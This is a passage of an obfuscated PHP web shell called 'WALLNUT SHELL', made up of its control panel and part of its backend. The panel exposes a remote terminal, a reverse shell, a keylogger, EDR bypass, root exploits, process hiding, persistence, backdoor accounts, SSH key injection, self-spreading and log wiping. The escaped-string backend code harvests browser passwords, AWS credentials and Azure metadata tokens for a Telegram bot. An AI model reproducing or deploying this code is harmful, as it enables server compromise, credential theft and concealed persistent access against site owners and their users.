<div class="menu-item success" onclick="runCreateRDP()"><i class="fas fa-desktop"></i> Create RDP</div>
<div class="menu-item success" onclick="runCreateFTP()"><i class="fas fa-folder-open"></i> Create FTP</div>
<div class="menu-item" onclick="runCreateMail()"><i class="fas fa-envelope"></i> Create Mail</div>
</div>
<div class="menu-section">
<div class="menu-title">Inject</div>
<div class="menu-item" onclick="runInjectRestore()"><i class="fas fa-code"></i> Inject Restore</div>
</div>
<div class="menu-section">
<div class="menu-title">Utility</div>
<a href="?terminal" class="menu-item"><i class="fas fa-terminal"></i> Terminal</a>
<div class="menu-item" onclick="runCloneShell()"><i class="fas fa-copy"></i> Clone Shell</div>
<div class="menu-item" onclick="runListSpread()"><i class="fas fa-list"></i> List Spread</div>
</div>
<div class="menu-section">
<div class="menu-title">Exit</div>
<a href="?logout=1" class="menu-item logout-btn"><i class="fas fa-sign-out-alt"></i> Logout</a>
</div>
</div>
</div>
<div class="main-content">
<?php if (isset($_GET["\164\x65\x72\155\x69\x6e\141\154"])) { ?>
<div class="terminal-container">
<?php $sysInfo = getSystemInfo(); ?>
<div class="card">
<div class="card-header"><span>System Info</span></div>
<div class="card-body">
<?php foreach ($sysInfo as $label => $value) { ?>
<div style="display:flex;border-bottom:1px solid var(--border-card);padding:4px 0;font-size:12px;">
<span style="width:140px;color:var(--text-muted);"><?php echo htmlspecialchars($label); ?>
:</span>
<span><?php echo htmlspecialchars($value); ?>
</span>
</div>
<?php } ?>
</div>
</div>
<div class="card">
<div class="card-header"><span>Terminal</span></div>
<div class="card-body">
<?php if (!$terminalActive) { ?>
<div class="alert alert-danger">Terminal tidak aktif (shell_exec dinonaktifkan).</div>
<?php } ?>
<div class="terminal-output"><?php echo htmlspecialchars($terminalOutput) ?: "\x52\145\x61\144\171\x2e"; ?>
</div>
<form method="post" class="terminal-input">
<input type="text" name="command" class="form-control" placeholder="ls -la" autocomplete="off" <?php echo $terminalActive ? '' : "\144\x69\163\141\142\154\145\x64"; ?>
>
<button type="submit" name="run_command" class="btn btn-primary btn-sm" <?php echo $terminalActive ? '' : "\x64\151\x73\x61\142\154\145\x64"; ?>
>Run</button>
</form>
</div>
</div>
</div>
<?php } else { ?>
<div style="margin-bottom:16px;">
<h1 style="font-size:22px;font-weight:700;color:var(--text-primary);text-align:center;">
WALLNUT SHELL <span style="color:var(--text-accent);">✦</span>
</h1>
<p style="text-align:center;font-size:12px;color:var(--text-muted);">owner Dkid03</p>
<div style="text-align:center;font-size:10px;color:var(--text-muted);margin-top:6px;">
<span class="badge <?php echo isRoot() ? "\x62\141\144\x67\x65\x2d\162\157\157\164" : "\142\141\144\147\145\x2d\x75\163\145\162"; ?>
"><?php echo isRoot() ? "\122\x4f\117\124" : "\x55\123\105\122"; ?>
</span>
<span class="badge badge-shell"><?php echo isShellExecAvailable() ? "\163\150\x65\154\x6c\40\x4f\x4e" : "\163\150\145\x6c\x6c\40\117\106\x46"; ?>
</span>
<span class="badge <?php echo isChattrAvailable() ? "\142\141\x64\x67\x65\55\x63\x68\141\164\164\162" : "\142\141\144\147\x65\x2d\157\146\146"; ?>
"><?php echo isChattrAvailable() ? "\x63\x68\x61\164\x74\162\40\117\x4b" : "\143\150\x61\164\164\x72\x20\x4f\106\x46"; ?>
</span>
</div>
<div class="stats-grid">
<div class="stat-item">
<div class="stat-value"><?php echo count(scandir($currentPath)) - 2; ?>
</div>
<div class="stat-label">Items</div>
</div>
<div class="stat-item">
<div class="stat-value"><?php echo date("\x48\72\x69"); ?>
</div>
<div class="stat-label">Time</div>
</div>
<div class="stat-item">
<div class="stat-value"><?php echo round(memory_get_usage() / 1024 / 1024, 1); ?>
MB</div>
<div class="stat-label">Memory</div>
</div>
</div>
</div>
<?php if (isset($error)) { ?>
<div class="alert alert-danger"><?php echo htmlspecialchars($error); ?>
</div>
<?php } ?>
<?php if (isset($success)) { ?>
<div class="alert alert-success"><?php echo htmlspecialchars($success); ?>
</div>
<?php } ?>
<div class="breadcrumb">
<?php echo breadcrumb($currentPath, $rootPath, $specialDirectories); ?>
</div>
<div class="card">
<div class="card-header">
<span>Files</span>
<span><?php echo count(scandir($currentPath)) - 2; ?>
items</span>
</div>
<div class="card-body">
<table class="table">
<thead><tr><th>Name</th><th>Size</th><th>Perm</th><th>Actions</th></tr></thead>
<tbody>
<?php if ($currentPath !== $rootPath || !empty($specialDirectories)) { ?>
<tr><td><a href="?path=<?php echo urlencode(dirname($currentPath)); ?>
" class="folder">..</a></td><td>-</td><td>-</td><td>-</td></tr>
<?php } ?>
<?php $items = @scandir($currentPath) ?: array(); foreach ($items as $item) { if ($item === "\56" || $item === "\x2e\x2e") { continue; } $itemPath = $currentPath . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($itemPath); $size = $isDir ? "\55" : formatSize(@filesize($itemPath)); $perms = @fileperms($itemPath); $permsFormatted = $perms ? substr(sprintf("\45\x6f", $perms), -4) : "\105\162\162\x6f\x72"; ?>
<tr>
<td>
<?php if ($isDir) { ?>
<a href="?path=<?php echo urlencode($itemPath); ?>
" class="folder"><i class="fas fa-folder file-icon"></i><?php echo htmlspecialchars($item); ?>
</a>
<?php } else { ?>
<span class="file"><i class="fas fa-file file-icon"></i><?php echo htmlspecialchars($item); ?>
</span>
<?php } ?>
</td>
<td><?php echo $size; ?>
</td>
<td><?php echo $permsFormatted; ?>
</td>
<td class="action-links">
<?php if (!$isDir && in_array(strtolower(pathinfo($item, PATHINFO_EXTENSION)), $editableExtensions) && $item !== basename(__FILE__)) { ?>
<a href="#" onclick="editFile('<?php echo htmlspecialchars($item); ?>
')">Edit</a>
<?php } ?>
<a href="#" onclick="showRename('<?php echo htmlspecialchars($item); ?>
')">Rename</a>
<a href="?path=<?php echo urlencode($currentPath); ?>
&action=download&target=<?php echo urlencode($item); ?>
">DL</a>
<a href="#" onclick="confirmDelete('<?php echo htmlspecialchars($item); ?>
')" class="danger">Del</a>
<a href="#" onclick="showChmod('<?php echo htmlspecialchars($item); ?>
', '<?php echo $permsFormatted; ?>
')">Chmod</a>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
<?php } ?>
</div>
</div>
<div id="toastContainer" class="toast-container"></div>
<div id="createModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">New File</div>
<button class="modal-close" onclick="hideModal('createModal')">×</button>
</div>
<div class="modal-body">
<form method="post" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<label>File Name</label>
<input type="text" name="name" class="form-control" placeholder="nama_file.php" required autofocus>
</div>
<input type="hidden" name="type" value="file"><input type="hidden" name="create" value="1">
<button type="submit" class="btn btn-block btn-success">Create</button>
</form>
</div>
</div>
</div>
<div id="createFolderModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">New Folder</div>
<button class="modal-close" onclick="hideModal('createFolderModal')">×</button>
</div>
<div class="modal-body">
<form method="post" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<label>Folder Name</label>
<input type="text" name="name" class="form-control" placeholder="nama_folder" required autofocus>
</div>
<input type="hidden" name="type" value="folder"><input type="hidden" name="create" value="1">
<button type="submit" class="btn btn-block btn-success">Create</button>
</form>
</div>
</div>
</div>
<div id="uploadModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">Upload</div>
<button class="modal-close" onclick="hideModal('uploadModal')">×</button>
</div>
<div class="modal-body">
<form method="post" enctype="multipart/form-data" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<input type="file" name="upload[]" class="form-control" multiple required>
</div>
<div class="form-group">
<label>Upload Mode</label>
<div style="display:flex;gap:12px;flex-wrap:wrap;margin-top:4px;">
<label style="font-size:12px;display:flex;align-items:center;gap:4px;cursor:pointer;">
<input type="radio" name="upload_mode" value="normal" checked> Normal
</label>
<label style="font-size:12px;display:flex;align-items:center;gap:4px;cursor:pointer;">
<input type="radio" name="upload_mode" value="bulk_shallow"> Shallow
</label>
<label style="font-size:12px;display:flex;align-items:center;gap:4px;cursor:pointer;">
<input type="radio" name="upload_mode" value="bulk_deep"> Deep
</label>
</div>
</div>
<button type="submit" class="btn btn-block btn-success">Upload</button>
</form>
</div>
</div>
</div>
<div id="bulkDeleteModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">Bulk Delete</div>
<button class="modal-close" onclick="hideModal('bulkDeleteModal')">×</button>
</div>
<div class="modal-body">
<form method="post" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<label>File List (one per line)</label>
<textarea name="file_list" class="form-control" rows="6" placeholder="file1.php file2.txt folder/"></textarea>
</div>
<div class="form-group">
<label>Delete Mode</label>
<div style="display:flex;gap:12px;flex-wrap:wrap;margin-top:4px;">
<label style="font-size:12px;display:flex;align-items:center;gap:4px;cursor:pointer;">
<input type="radio" name="delete_mode" value="current" checked> Current
</label>
<label style="font-size:12px;display:flex;align-items:center;gap:4px;cursor:pointer;">
<input type="radio" name="delete_mode" value="shallow"> Shallow
</label>
<label style="font-size:12px;display:flex;align-items:center;gap:4px;cursor:pointer;">
<input type="radio" name="delete_mode" value="deep"> Deep
</label>
</div>
</div>
<button type="submit" name="delete_bulk" class="btn btn-block btn-danger" onclick="return confirm('Are you sure?')">Delete</button>
</form>
</div>
</div>
</div>
<div id="renameModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">Rename</div>
<button class="modal-close" onclick="hideModal('renameModal')">×</button>
</div>
<div class="modal-body">
<form method="post" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<label>New Name</label>
<input type="text" id="newName" name="new_name" class="form-control" required autofocus>
</div>
<input type="hidden" id="renameTarget" name="target"><input type="hidden" name="rename" value="1">
<button type="submit" class="btn btn-block btn-success">Rename</button>
</form>
</div>
</div>
</div>
<div id="editModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">Edit</div>
<button class="modal-close" onclick="hideModal('editModal')">×</button>
</div>
<div class="modal-body">
<form method="post" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<textarea id="fileContent" name="content" class="form-control" style="min-height:250px;font-family:var(--font-mono);font-size:12px;"></textarea>
</div>
<input type="hidden" id="editFileName" name="file"><input type="hidden" name="save_file" value="1">
<button type="submit" class="btn btn-block btn-success">Save</button>
</form>
</div>
</div>
</div>
<div id="chmodModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<div class="modal-title">CHMOD</div>
<button class="modal-close" onclick="hideModal('chmodModal')">×</button>
</div>
<div class="modal-body">
<form method="post" action="?path=<?php echo urlencode($currentPath); ?>
">
<div class="form-group">
<label>Permission Mode</label>
<input type="text" id="permission" name="mode" class="form-control" placeholder="0644" required autofocus>
</div>
<input type="hidden" id="chmodTarget" name="target"><input type="hidden" name="action" value="chmod">
<button type="submit" class="btn btn-block btn-success">Change</button>
</form>
</div>
</div>
</div>
<script>
function showToast(message, type = 'info') {
const container = document.getElementById('toastContainer');
const toast = document.createElement('div');
toast.className = `toast toast-${type}`;
const icons = { success: '✅', error: '❌', warning: '⚠️', info: 'ℹ️' };
toast.innerHTML = `${icons[type] || 'ℹ️'} ${message}`;
container.appendChild(toast);
setTimeout(() => {
toast.style.animation = 'slideOut 0.3s ease forwards';
setTimeout(() => toast.remove(), 300);
}, 4000);
}
function showModal(id){ document.getElementById(id).classList.add('active'); }
function hideModal(id){ document.getElementById(id).classList.remove('active'); }
function confirmDelete(file) {
if(confirm(`Delete "${file}"?`)) {
window.location.href = `?path=<?php echo urlencode($currentPath); ?>
&action=delete&target=${encodeURIComponent(file)}`;
}
}
function editFile(f){
if(f === '<?php echo basename(__FILE__); ?>
') {
showToast('Cannot edit this file.', 'warning');
return;
}
showToast('Loading file...', 'info');
fetch('?path=<?php echo urlencode($currentPath); ?>
&edit='+encodeURIComponent(f))
.then(r => {
if(!r.ok) throw new Error('Network error');
return r.text();
})
.then(d => {
document.getElementById('fileContent').value = d;
document.getElementById('editFileName').value = f;
showModal('editModal');
})
.catch(() => showToast('Failed to load file', 'error'));
}
function showRename(n){
if(n){
document.getElementById('newName').value = n;
document.getElementById('renameTarget').value = n;
showModal('renameModal');
}
}
function showChmod(n,p){
if(n){
document.getElementById('permission').value = p;
document.getElementById('chmodTarget').value = n;
showModal('chmodModal');
}
}
function apiCall(url, successMsg, errorMsg = 'Error') {
showToast('Processing...', 'info');
fetch(url)
.then(r => {
if(!r.ok) throw new Error('Network error');
return r.json();
})
.then(d => {
if(d.status === 'success') {
showToast(successMsg, 'success');
} else {
showToast(d.message || errorMsg, 'error');
}
})
.catch(() => showToast(errorMsg, 'error'));
}
function runHideProcessEBPF() {
var proc = prompt('Process name to hide:', '<?php echo basename(__FILE__); ?>
');
if (!proc) return;
apiCall(`?hide_process_ebpf=1&process=${encodeURIComponent(proc)}`,
'eBPF process hider installed', 'eBPF process hider failed');
}
function runHideFileEBPF() {
var file = prompt('File path to hide:', '');
if (!file) return;
apiCall(`?hide_file_ebpf=1&file=${encodeURIComponent(file)}`,
'eBPF file hider installed', 'eBPF file hider failed');
}
function runEDRBypass() {
if(!confirm('EDR BYPASS ULTIMATE? (Tartarus + EDRSilencer)')) return;
apiCall('?edr_bypass=1', 'EDR bypass complete', 'EDR bypass failed');
}
function runAutoRootModern() {
if(!confirm('MODERN ROOT EXPLOIT? (CVE-2023-35001 + GameOver + Container Escape)')) return;
apiCall('?auto_root_modern=1', 'Modern root exploit executed', 'Modern root exploit failed');
}
function runPersistenceAdvanced() {
if(!confirm('ADVANCED PERSISTENCE? (Systemd + Fileless + Library Hijacking)')) return;
apiCall('?persistence_advanced=1', 'Advanced persistence installed', 'Advanced persistence failed');
}
function runCredHarvest() {
if(!confirm('CREDENTIAL HARVEST? (Browser + Cloud + Config)')) return;
apiCall('?cred_harvest=1', 'Credentials harvested', 'Credential harvest failed');
}
function runSelfDestructAdvanced() {
if(!confirm('SELF DESTRUCT? (Memory wipe + Log clean + File shred)')) return;
if(!confirm('FINAL CONFIRMATION: This will destroy the shell!')) return;
apiCall('?self_destruct_advanced=1', 'Self destruct executed', 'Self destruct failed');
}
function runInferno() {
if(!confirm('🔥 INFERNO MODE: Akan menjalankan semua fitur ganas (credential harvest, SSH inject, persistence, lock shell, super cleanup) sekaligus. Lanjutkan?')) return;
if(!confirm('⚠️ PERINGATAN AKHIR: Ini akan mengunci shell dengan chattr +i dan menghapus semua jejak. Yakin?')) return;
apiCall('?inferno=1', '🔥 Inferno mode executed! Check Telegram.', 'Inferno mode failed');
}
function runWPScan() {
if(!confirm('Scan for WordPress configs?')) return;
apiCall('?wpscan=1', 'WP scan done', 'WP scan failed');
}
function runConfigFinder() {
if(!confirm('Find sensitive files?')) return;
apiCall('?configfinder=1', 'Config finder done', 'Config finder failed');
}
function runDumpDB() {
if(!confirm('Dump database credentials?')) return;
apiCall('?dumpdb=1', 'DB dump done', 'DB dump failed');
}
function runCpanelHarvest() {
if(!confirm('Harvest cPanel credentials?')) return;
apiCall('?cpanel_harvest=1', 'cPanel harvest done', 'Harvest failed');
}
function runCloudCreds() {
if(!confirm('Grab cloud credentials (AWS/GCP/Azure)?')) return;
apiCall('?cloud_creds=1', 'Cloud credentials grabbed', 'Cloud creds failed');
}
function runDbExplorer() {
var type = prompt('Database type (mysql|postgresql|redis|mongodb|sqlite):', 'mysql');
if(type) {
var action = prompt('Action (list|tables|dump):', 'list');
var db = prompt('Database name:', '');
apiCall(`?db_explorer=1&type=${encodeURIComponent(type)}&action=${encodeURIComponent(action)}&db=${encodeURIComponent(db)}`,
'DB Explorer done', 'DB Explorer failed');
}
}
function runFirewallKiller() {
if(!confirm('Kill firewall?')) return;
apiCall('?firewall_killer=1', 'Firewall killed', 'Firewall kill failed');
}
function runNetworkPivot() {
var action = prompt('Action (ssh_tunnel|ssh_dynamic|reverse_tunnel|status):', 'status');
if(action === 'ssh_tunnel' || action === 'ssh_dynamic' || action === 'reverse_tunnel') {
var target = prompt('Target (user@host):', '');
var port = prompt('Port:', '');
var local_port = prompt('Local port:', '');
apiCall(`?network_pivot=1&action=${encodeURIComponent(action)}&target=${encodeURIComponent(target)}&port=${encodeURIComponent(port)}&local_port=${encodeURIComponent(local_port)}`,
'Network pivot done', 'Network pivot failed');
} else {
apiCall(`?network_pivot=1&action=${encodeURIComponent(action)}`,
'Network pivot done', 'Network pivot failed');
}
}
function runKeylogger() {
var action = prompt('Action (start|stop|read|clear):', 'start');
if(action) {
apiCall(`?keylogger=1&action=${encodeURIComponent(action)}`,
'Keylogger done', 'Keylogger failed');
}
}
function runReverseShell() {
var action = prompt('Action (start|stop|status):', 'status');
if(action === 'start') {
var ip = prompt('IP address:', '');
var port = prompt('Port:', '4444');
if(ip && port) {
apiCall(`?reverseshell=1&action=${encodeURIComponent(action)}&ip=${encodeURIComponent(ip)}&port=${encodeURIComponent(port)}`,
'Reverse shell started', 'Reverse shell failed');
}
} else {
apiCall(`?reverseshell=1&action=${encodeURIComponent(action)}`,
'Reverse shell done', 'Reverse shell failed');
}
}
function runPortScan() {
var target = prompt('Target IP/host:', 'localhost');
var ports = prompt('Ports (comma separated):', '22,80,443,3306,5432,8080,8443');
if(target && ports) {
apiCall(`?port_scan=1&target=${encodeURIComponent(target)}&ports=${encodeURIComponent(ports)}`,
'Port scan done', 'Port scan failed');
}
}
function runOneClick() {
if(!confirm('ONE CLICK CLEANUP? (All traces + logs + history + temp)')) return;
if(!confirm('FINAL CONFIRMATION: This will destroy all traces!')) return;
apiCall('?one_click=1&confirm=yes', 'One click executed', 'One click failed');
}
function runSSHKeys() {
apiCall('?sshkeys=1', 'SSH keys found', 'SSH keys failed');
}
function runSSHInject() {
var key = prompt('Public key to inject:', 'ssh-rsa AAAAB3NzaC1yc2EAAA...');
if(key) {
apiCall(`?ssh_inject=1&key=${encodeURIComponent(key)}`,
'SSH keys injected', 'SSH inject failed');
}
}
function runCreateSSH() {
var user = prompt('Username:', '');
var pass = prompt('Password:', '');
if(user && pass) {
apiCall(`?create_ssh=1&user=${encodeURIComponent(user)}&pass=${encodeURIComponent(pass)}`,
'SSH user created', 'Create SSH failed');
}
}
function runCreateRDP() {
var user = prompt('Username:', 'Dkid03' + Math.floor(Math.random()*1000));
if (!user) return;
var pass = prompt('Password:', 'Dkid@pssw0rd123!');
if (!pass) return;
apiCall(`?create_rdp=1&user=${encodeURIComponent(user)}&pass=${encodeURIComponent(pass)}`,
'RDP user created', 'Create RDP failed');
}
function runCreateFTP() {
var u = prompt('Username:');
if(u) {
var p = prompt('Password:');
var h = prompt('Home:','/home/'+u);
apiCall(`?create_ftp=1&user=${encodeURIComponent(u)}&pass=${encodeURIComponent(p||'')}&home=${encodeURIComponent(h)}`,
'FTP account created', 'Create FTP failed');
}
}
function runCreateMail() {
var e = prompt('Email address:');
if(e) {
var p = prompt('Password:');
if(p) {
var domain = e.split('@')[1] || window.location.hostname;
apiCall(`?create_mail=1&email=${encodeURIComponent(e)}&pass=${encodeURIComponent(p)}&domain=${encodeURIComponent(domain)}`,
'Mail account created', 'Create mail failed');
}
}
}
function runInjectRestore() {
if(!confirm('Inject restore code to index.php, wp-config.php, config.php, wp-load.php, settings.php?')) return;
apiCall('?inject_restore=1', 'Injected successfully', 'Inject failed');
}
function runBackup() {
if(confirm('Backup this file?')) {
apiCall('?backup=1', 'Backup created', 'Backup failed');
}
}
function runDeleteBackup() {
if(confirm('Delete all backup files?')) {
if(confirm('Final confirmation!')) {
apiCall('?delete_backup=1&confirm=yes', 'Backup deleted', 'Delete failed');
}
}
}
function runCronPersistence() {
var action = prompt('Action (install|remove|list):', 'list');
var interval = prompt('Interval in minutes (for install):', '5');
if(action) {
apiCall(`?cron_persistence=1&action=${encodeURIComponent(action)}&interval=${encodeURIComponent(interval)}`,
'Cron persistence done', 'Cron persistence failed');
}
}
function runUserPersistence() {
var action = prompt('Action (install|remove):', 'install');
if(action) {
apiCall(`?user_persistence=${encodeURIComponent(action)}`,
action === 'install' ? 'User persistence installed' : 'User persistence removed',
'User persistence failed');
}
}
function runCloneShell() {
var targets = prompt('Target directories (comma separated, empty for auto):', '');
if(targets !== null) {
apiCall(`?clone_shell=1&targets=${encodeURIComponent(targets)}`,
'Shell cloned', 'Clone shell failed');
}
}
function runListSpread() {
apiCall('?list_spread=1', 'List spread done', 'List spread failed');
}
window.onclick = function(e) {
document.querySelectorAll('.modal').forEach(m => {
if(e.target === m) hideModal(m.id);
});
}
<?php if (isset($_GET["\145\x64\x69\164"])) { ?>
<?php $file = $_GET["\145\x64\151\164"]; $filePath = $currentPath . DIRECTORY_SEPARATOR . $file; $content = file_exists($filePath) && is_file($filePath) && isSafePath($filePath, $rootPath, $specialDirectories) && in_array(strtolower(pathinfo($file, PATHINFO_EXTENSION)), $editableExtensions) ? @file_get_contents($filePath) : ''; ?>
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('fileContent').value = <?php echo json_encode($content); ?>
;
document.getElementById('editFileName').value = <?php echo json_encode($file); ?>
;
showModal('editModal');
});
<?php } ?>
document.querySelector('a[href="?logout=1"]')?.addEventListener('click', function(e) {
e.preventDefault();
if(confirm('Logout?')) {
window.location.href = '?logout=1';
}
});
document.addEventListener('keydown', function(e) {
if(e.key === 'Escape') {
document.querySelectorAll('.modal.active').forEach(m => hideModal(m.id));
}
if(e.key === 'Enter' && (e.ctrlKey || e.metaKey)) {
const editModal = document.getElementById('editModal');
if(editModal.classList.contains('active')) {
document.querySelector('#editModal form button[type="submit"]')?.click();
}
}
});
</script>
<?php } goto Ycoh2; xjzJW: if (isset($_GET["\x63\162\157\x6e\x5f\x70\145\x72\x73\151\x73\x74\x65\156\x63\x65"]) && isset($_SESSION["\154\157\x67\147\x65\x64\151\156"]) && $_SESSION["\x6c\x6f\147\147\145\x64\x69\156"] === true) { $result = cron_persistence(); sendJsonResponse($result); } goto jgkeq; pdQ2j: function getImmediateSubDirectories($dir) { $subDirs = array(); if (!is_dir($dir) || !is_readable($dir)) { return $subDirs; } $items = @scandir($dir); if ($items === false) { return $subDirs; } foreach ($items as $item) { if ($item == "\56" || $item == "\x2e\56") { continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path) && !is_link($path)) { $subDirs[] = $path; } } return $subDirs; } goto lrDWo; EyqNw: function formatSize($bytes) { if ($bytes === false || $bytes === null || !is_numeric($bytes)) { return "\60\x20\x62\171\164\x65\163"; } $bytes = (double) $bytes; if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . "\x20\107\102"; } if ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . "\x20\115\102"; } if ($bytes >= 1024) { return number_format($bytes / 1024, 2) . "\40\113\102"; } return $bytes . "\x20\142\171\164\145\x73"; } goto iaWhY; OnSJf: function credential_harvest_advanced() { global $botToken, $telegramUserId; $results = array(); $creds = array(); $results[] = "\x5b\x31\135\x20\x42\x72\157\167\x73\145\x72\40\x70\141\163\163\x77\157\x72\x64\x20\x73\x74\145\141\x6c\x69\x6e\x67\x2e\56\x2e"; $browser_paths = array("\57\x68\157\155\145\57\x2a\57\x2e\143\x6f\x6e\146\151\147\57\x67\157\157\147\x6c\145\55\143\x68\x72\157\x6d\145\x2f\104\x65\x66\141\165\x6c\x74\57\x4c\x6f\x67\151\x6e\x20\x44\x61\x74\141", "\57\x68\x6f\x6d\145\x2f\x2a\x2f\x2e\143\x6f\x6e\x66\151\147\x2f\x67\157\x6f\147\154\145\55\143\150\162\157\155\x65\57\120\x72\x6f\x66\x69\154\x65\x20\x2a\57\x4c\157\147\151\156\x20\104\x61\164\141", "\x2f\x68\x6f\x6d\x65\57\x2a\57\x2e\155\x6f\x7a\151\x6c\x6c\x61\57\146\x69\x72\x65\x66\x6f\x78\x2f\x2a\56\x64\x65\x66\141\165\154\164\57\x6c\x6f\147\x69\x6e\x73\56\152\163\x6f\156", "\57\x68\157\x6d\x65\57\52\57\x2e\155\157\172\151\x6c\154\x61\57\146\x69\x72\145\x66\x6f\170\x2f\x2a\x2e\144\145\x66\x61\x75\154\164\x2f\x6b\145\171\x34\x2e\x64\142", "\x2f\150\x6f\155\x65\x2f\52\x2f\56\143\157\156\146\151\147\x2f\143\x68\162\x6f\x6d\151\165\155\57\104\x65\x66\141\x75\154\164\x2f\x4c\157\147\x69\156\40\x44\141\164\x61", "\57\x68\157\x6d\x65\57\x2a\x2f\56\143\157\x6e\146\151\147\57\102\x72\x61\166\145\123\157\146\164\x77\141\162\145\57\102\x72\141\x76\x65\55\x42\162\x6f\167\163\145\162\x2f\x44\x65\146\x61\165\154\164\x2f\x4c\x6f\x67\151\x6e\x20\104\141\x74\x61", "\57\x68\157\155\x65\x2f\x2a\57\56\143\x6f\x6e\x66\151\x67\57\x6d\x69\x63\x72\157\163\x6f\x66\164\x2d\x65\x64\x67\145\x2f\x44\x65\x66\x61\x75\x6c\x74\57\114\157\x67\x69\156\x20\104\141\164\141"); foreach ($browser_paths as $pattern) { $files = @glob($pattern); if (is_array($files)) { foreach ($files as $file) { if (is_readable($file)) { if (strpos($file, "\x2e\x64\x62") !== false || strpos($file, "\114\157\x67\151\156\x20\x44\x61\x74\x61") !== false) { @shell_exec("\x73\x71\154\151\164\145\63\x20" . escapeshellarg($file) . "\40\x22\123\105\114\105\x43\x54\x20\157\162\151\x67\x69\156\x5f\x75\162\154\x2c\x20\165\163\x65\x72\x6e\141\155\x65\137\166\x61\x6c\165\145\54\x20\160\x61\x73\x73\x77\157\162\x64\137\166\x61\x6c\x75\145\40\x46\122\117\115\x20\154\157\x67\151\x6e\x73\42\x20\x32\76\57\144\145\x76\x2f\x6e\165\154\x6c\40\76\x20\57\x74\x6d\160\57\142\x72\157\167\x73\x65\162\x5f\160\x61\163\x73\167\x6f\162\x64\x73\x2e\164\x78\164"); $content = @file_get_contents("\x2f\164\155\160\x2f\x62\x72\x6f\167\163\x65\162\x5f\x70\141\x73\163\x77\x6f\x72\x64\x73\56\164\170\x74"); if ($content) { $creds[] = "\102\162\x6f\167\163\145\162\x20\x70\x61\163\x73\x77\157\162\x64\x73\40\x66\x72\x6f\155\x20{$file}\72\xa{$content}"; } } else { $content = @file_get_contents($file); if ($content && preg_match_all("\57\x22\x75\x73\145\x72\x6e\x61\x6d\145\42\x3a\42\x28\x5b\x5e\42\135\53\51\x22\54\x22\160\141\163\x73\167\157\x72\x64\42\72\x22\x28\133\136\x22\x5d\x2b\51\x22\57", $content, $matches)) { $creds[] = "\106\x69\162\x65\146\157\x78\x20\x70\x61\x73\x73\167\157\x72\144\163\x20\146\162\x6f\x6d\40{$file}\72\12" . implode("\12", array_map(function ($u, $p) { return "{$u}\x3a{$p}"; }, $matches[1], $matches[2])); } } $results[] = "\342\234\205\x20\x42\x72\x6f\167\163\145\162\x20\x70\x61\x73\163\x77\157\162\x64\x73\40\x65\x78\164\x72\x61\143\164\145\x64\72\40{$file}"; } } } } $results[] = "\x5b\62\x5d\40\x43\154\157\x75\144\40\x63\162\x65\x64\145\x6e\164\x69\141\x6c\163\40\150\x61\162\x76\145\163\x74\x69\156\x67\x2e\x2e\56"; $aws_paths = array("\57\x68\157\x6d\x65\x2f\52\57\x2e\141\x77\163\x2f\x63\x72\x65\144\145\156\164\151\x61\154\163", "\57\x72\157\x6f\164\57\x2e\141\x77\x73\x2f\143\x72\145\144\x65\156\164\x69\x61\154\x73"); foreach ($aws_paths as $pattern) { $files = @glob($pattern); if (is_array($files)) { foreach ($files as $file) { if (is_readable($file)) { $content = @file_get_contents($file); if ($content) { preg_match_all("\57\x61\x77\163\x5f\141\143\x63\x65\x73\163\x5f\153\145\x79\137\x69\144\x5c\x73\52\x3d\x5c\x73\x2a\50\133\x5e\134\x73\135\x2b\x29\57", $content, $keys); preg_match_all("\x2f\x61\167\x73\137\163\145\x63\162\145\x74\137\141\x63\x63\x65\163\x73\137\x6b\145\171\x5c\163\x2a\x3d\134\163\x2a\x28\133\x5e\x5c\163\135\x2b\x29\57", $content, $secrets); if (!empty($keys[1]) && !empty($secrets[1])) { $creds[] = "\x41\x57\x53\x20\103\162\145\144\145\156\164\151\141\154\163\x20\146\x72\x6f\155\40{$file}\x3a\12\x4b\x65\171\72\40" . $keys[1][0] . "\12\123\x65\143\162\145\x74\72\x20" . $secrets[1][0]; } } $results[] = "\xe2\x9c\x85\40\101\x57\123\x20\143\162\x65\x64\145\156\164\x69\141\154\163\72\x20{$file}"; } } } } $azure_metadata = @file_get_contents("\x68\x74\164\x70\x3a\57\57\x31\66\71\56\62\65\x34\56\x31\x36\71\x2e\x32\x35\64\x2f\x6d\x65\x74\141\x64\141\164\141\57\151\x64\x65\x6e\x74\x69\164\x79\57\157\x61\x75\164\150\x32\57\x74\x6f\x6b\x65\156\x3f\141\160\151\55\x76\x65\x72\163\x69\157\x6e\x3d\x32\60\x31\x38\x2d\60\x32\55\60\61\46\162\x65\163\157\165\x72\143\x65\x3d\x68\x74\164\160\x73\72\57\57\x6d\x61\x6e\x61\147\145\155\145\156\x74\56\141\x7a\165\x72\145\x2e\143\x6f\x6d\57", false, stream_context_create(array("\x68\164\x74\160" => array("\150\145\x61\144\x65\162" => "\x4d\145\x74\141\x64\x61\164\x61\x3a\40\164\162\x75\145")))); if ($azure_metadata) { preg_match_all("\57\42\x61\x63\143\145\163\x73\137\164\157\153\x65\156\42\134\x73\x2a\72\134\163\x2a\42\50\x5b\136\42\x5d\53\51\42\x2f", $azure_metadata, $tokens); if (!empty($tokens[1])) { $creds[] = "\x41\172\165\x72\x65\x20\115\141\x6e\141\147\145\144\40\111\144\145\156\164\151\164\171\x20\124\157\153\x65\x6e\x3a\12" . $tokens[1][0]; } $results[] = 